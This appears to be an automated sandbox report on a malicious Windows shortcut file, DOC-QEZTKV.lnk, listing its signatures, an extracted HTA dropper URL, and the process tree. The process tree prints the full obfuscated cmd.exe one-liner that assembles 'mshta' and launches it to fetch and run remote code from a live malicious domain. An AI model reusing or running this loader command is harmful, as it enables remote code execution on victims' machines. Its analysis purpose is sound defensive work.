Analysis

  • max time kernel
    148s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:34

General

  • Target
    DOC-QEZTKV.lnk
  • Size 2KB
  • Sample260804-kgxdha1thy
  • SHA256 7913f959c5292fe0e17777969ef0dd392c7c4ddd2c0ae6e58ffd27cab0a8d5db
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-QEZTKV.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5188
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set UgSQL=datidhixavlyfexxdat&&set XTae=dbgwcsjkiuihtehxwdbg&&set vr=oldkdfezauftdythhsemold&&set pzfSs=dbgkqlwfsbwsmbjimxdbg&&set cIdGf=3kymshthi&&set Ar=q9awo&&set LqABR=cfgsrifeoracfg&&set AaxNv=winlojushhdwin&&set qpQu=bakvbeqhrtoutlqfbbak&&set ah=logvfgewatrlypvdualog&&set Rq=cfgvbdmlwfppjnshgdcfg&&set Qz=winkvflgwin&&set QUBLN=cfggzxuxltcfg&&set XRBI=u2istnk&&set UCGMC=e7artx&&set dWyVI=oldcdadmaold&&set uG=h@tt@p@s@:@//ma-p@d@ff@i@l@le@r.@lat/h/@est@ag@i@o@1.@p@hp?r=39@1@4@6@9F@B5D82DB&&start /b !cIdGf:~3,4!!Ar:~2,1! !uG:@=!&&set cXrl=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4704
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:1092

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads